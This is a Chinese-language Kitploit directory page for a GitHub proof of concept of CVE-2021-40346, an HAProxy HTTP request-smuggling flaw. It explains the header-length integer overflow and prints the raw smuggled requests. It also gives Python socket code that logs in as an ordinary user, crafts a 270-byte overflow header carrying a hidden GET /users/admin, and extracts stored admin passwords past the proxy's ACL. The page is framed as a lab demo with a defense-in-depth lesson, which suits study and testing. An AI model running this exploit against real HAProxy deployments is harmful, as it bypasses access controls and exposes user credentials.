Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-40346 — HTTP 请求走私 | Kitploit
工具/GitHubGitHub/boianeduard/cve-2021-40346
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试学习与教育
GitHubboianeduard/cve-2021-40346

CVE-2021-40346

HTTP 请求走私

查看仓库
16个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-40346:HAProxy HTTP 请求走私 - ACL 绕过

概述

本项目演示了 CVE-2021-40346,这是 HAProxy 中一个严重的整数溢出漏洞,可导致 HTTP 请求走私攻击,从而绕过安全控制。

CVSSv3 评分: 7.5 (高)

贡献者:

  1. Boian Eduard
  2. Borsos Matheas-Roland

CVE-2021-40346 是什么?

CVE-2021-40346 是 HAProxy HTTP 头部解析逻辑中的一个整数溢出漏洞。当头部名称超过 255 字节时,长度值会从一个 8 位字段溢出,导致 HAProxy 在转发请求时错误地解析该头部。

攻击工作原理

分步详解

  1. 攻击者发送: 头部名称 = "Content-Length0" + 255×'a' = 270 字节

  2. 阶段 1(初始解析):

    • HAProxy 读取头部名称的全部 270 字节
    • 存储 name_length = 270 % 256 = 14(8 位溢出)
    • 溢出位设置 value_length = 1
    • 读取合法的 Content-Length: 60 头部,并将其视为 body 长度
    • 读取 60 字节作为请求体(包含走私请求)
  3. 阶段 2(请求转发):

    • 遇到溢出的头部块
    • 仅读取前 14 个字符:"Content-Length"
    • 读取 1 个字符作为值(位置 14):"0"
    • 向转发的请求添加 content-length: 0
    • 忽略真正的 Content-Length: 60 头部(根据正常逻辑)
  4. 后端处理:

    • 从 HAProxy 接收到 content-length: 0
    • 解析无 body 的 POST 请求
    • 将“body”(走私的 GET 请求)视为下一个 HTTP 请求
    • 处理走私请求,绕过所有 HAProxy ACL

攻击流程示例

绕过 ACL 规则访问管理端点

假设 HAProxy 配置了限制访问管理路由的 ACL 规则:

http-request deny if { path_beg /users/admin }

在我们的 PoC 中,我们使用普通用户会话 (alice) 访问受保护的 /users/admin 端点,该端点本应仅管理员可访问。

恶意请求(请求 1 - Poison):

POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 78

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:

HAProxy 转发的请求:

POST / HTTP/1.1
host: 127.0.0.1:8080
content-length: 0
x-forwarded-for: 192.168.188.1

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:

完成请求(请求 2):

GET / HTTP/1.1
Host: 127.0.0.1:8080

后端处理的完整走私请求:

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:GET / HTTP/1.1
Host: 127.0.0.1:8080

结果:

  1. HAProxy 转发 POST /,并带有 content-length: 0(ACL 看到安全路径)
  2. 后端处理 POST /(无 body)并等待下一个请求
  3. 后端将不完整的走私请求 GET /users/admin 视为待处理请求
  4. 请求 2 完成走私请求
  5. 后端使用 alice 的会话处理 GET /users/admin,绕过 HAProxy ACL
  6. 包含管理机密的响应返回给攻击者

概念验证

测试环境设置

HAProxy 配置 (haproxy.cfg)

易受攻击的 HAProxy 实例配置了 ACL 规则以保护管理端点:

...
    # ACL to detect admin endpoint access
    acl is_admin_endpoint path_beg /users/admin
    
    # ACL to check for admin session cookie
    acl has_admin_session cook(session) -m beg admin_
    
    # Deny access to admin endpoint if user doesn't have admin session
    http-request deny if is_admin_endpoint !has_admin_session
...

关键点:

  • ACL 保护:/users/admin 的访问被阻止,除非会话 cookie 以 admin_ 开头
  • HTTP Keep-Alive(默认):HAProxy 默认使用 keep-alive 模式,重用与后端的 TCP 连接——这对攻击至关重要,因为它允许在同一连接上发送多个请求
  • 基于会话的访问控制:普通用户(会话以 user_ 开头)被拒绝

后端服务器 (Flask)

后端服务器包含三个用户和一个管理端点:

USERS = [
    {'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
    {'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
    {'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
]

@app.route('/login', methods=['POST'])
def login():
    # ... authentication logic ...
    
    # Generate session token with role prefix
    prefix = 'admin_' if user['role'] == 'admin' else 'user_'
    token = prefix + secrets.token_hex(16)
    
    resp.set_cookie('session', token, httponly=True)
    return resp

@app.route('/users/admin', methods=['GET', 'POST'])
def users_admin():
    # Returns sensitive data including all user passwords
    rows = ''.join([
        f"{u['id']} | {u['username']} | {u['email']} | "
        f"{u['password']} | {u['role']}" 
        for u in USERS
    ])
    
    return f"ADMIN PANELAll users with passwords:{rows}"

安全模型:

  • Alice(普通用户)获得的会话:user_a1b2c3d4...
  • 管理员获得的会话:admin_a1b2c3d4...
  • HAProxy 阻止 alice 对 /users/admin 的请求
  • 后端配置不当:Flask 服务器盲目信任 HAProxy 已经施加了访问控制,并且不重新验证会话令牌或检查用户是否实际上是管理员,然后才提供敏感数据
  • 漏洞:HTTP 走私绕过了 HAProxy 的 ACL 检查,而后端没有纵深防御

为什么有效:

  1. HAProxy 看到外部 POST / 请求(允许)
  2. HAProxy 检查 POST / 的 ACL(无管理员限制)
  3. HAProxy 转发 content-length: 0(由于溢出错误)
  4. 后端接收不完整的 GET /users/admin 请求
  5. 第二个请求完成它,绕过 HAProxy 的 ACL 检查
  6. 后端盲目地提供管理端点——它从不检查会话令牌是否实际上是管理员令牌
  7. 后端直接处理 GET /users/admin,泄露密码

纵深防御教训: 这说明了为什么后端绝不应该盲目信任代理。即使 HAProxy 的 ACL 已到位,后端也应:

  • 自行解析并验证会话令牌
  • 在提供敏感端点之前检查用户的角色/权限
  • 实现自己的授权逻辑(例如 @require_admin 装饰器)

仅依赖代理级别的访问控制会形成单点故障。

关键利用序列

PoC 演示了通过四个关键步骤,使用普通用户会话绕过 HAProxy ACL 访问 /users/admin:

1. 以普通用户身份认证

# Login as alice (non-admin user)
body = "username=alice&password=alice123"
login = f"POST /login HTTP/1.1\r\n" \
        f"Host: {TARGET}:{PORT}\r\n" \
        f"Content-Type: application/x-www-form-urlencoded\r\n" \
        f"Content-Length: {len(body)}\r\n\r\n{body}".encode()

sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(login)
time.sleep(0.5)

# Receive response and extract session token
resp = b""
while True:
    chunk = sock.recv(4096)
    if not chunk:
        break
    resp += chunk
sock.close()

session = resp.decode().split('session=')[1].split(';')[0]
print(f"✓ Session: {session[:35]}...")

目的:

  • 获取普通用户 (alice) 的合法会话令牌
  • 此会话通常无法访问 /users/admin 端点
  • 我们将在走私请求中使用此会话来绕过 ACL

2. 构造走私请求(不完整)

# Craft incomplete smuggled request targeting admin endpoint
smuggled_incomplete = f"GET /users/admin HTTP/1.1\r\nCookie: session={session}\r\nDUMMY:"

关键细节:

  • 目标指向受保护的 /users/admin 路由
  • 使用合法用户会话 (alice)
  • 以 DUMMY: 头部结尾(无 CRLF)以保持请求不完整
  • 后端将等待更多数据再处理

3. 构造投毒请求

# Create overflow header (270 bytes = 14 after 8-bit overflow)
overflow_header = "Content-Length0" + ("a" * 255)

# Build complete poison request
poison = (
    f"POST / HTTP/1.1\r\n"
    f"Host: {TARGET}:{PORT}\r\n"
    f"{overflow_header}:\r\n"                    # Triggers integer overflow
    f"Content-Length: {len(smuggled_incomplete)}\r\n"  # Real body length
    f"\r\n"
    f"{smuggled_incomplete}"                     # Smuggled request as "body"
).encode()

发生了什么:

  • Content-Length0aaa...(270 字节)溢出为 14 字节
  • HAProxy 阶段 2 读取前 14 个字符:"Content-Length"
  • 位置 14 的值:"0"
  • HAProxy 转发:content-length: 0
  • 后端将走私的 GET 请求作为待处理请求接收

4. 发送请求

# Send poison request
sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(poison)
time.sleep(1)
resp1 = sock.recv(4096)  # Receive POST / response

# Send completion request (completes smuggled request)
completion = (
    f"GET / HTTP/1.1\r\n"
    f"Host: {TARGET}:{PORT}\r\n"
    f"\r\n"
).encode()

sock.sendall(completion)
time.sleep(2)

# Capture the response of the smuggled request
all_data = b""
sock.settimeout(5)
try:
    while True:
        chunk = sock.recv(4096)
        if not chunk:
            break
        all_data += chunk
except:
    pass
sock.close()

# Decode and check for success
text = all_data.decode('utf-8', errors='ignore')

print(f"\n[RESULTS] {len(all_data)} bytes received")
print("="*70)
print(text)
print("="*70)

if "admin_secret" in text:
    print("\n✅ SUCCESS! BYPASSED HAPROXY ACL!")
    print("🔓 Stolen passwords visible in response above!")
else:
    print("\n⚠️  Check backend logs - smuggling is working but response capture needs adjustment")

请求流程:

  1. 发送投毒请求 → 后端缓冲不完整的 GET /users/admin
  2. 发送完成请求 → 与走私请求连接,添加双 CRLF
  3. 后端处理 → 完整的 GET /users/admin 使用 alice 的会话
  4. 捕获响应 → 接收所有数据并解码为 UTF-8
  5. 成功检测 → 检查响应中是否包含 admin_secret 关键字
下载工具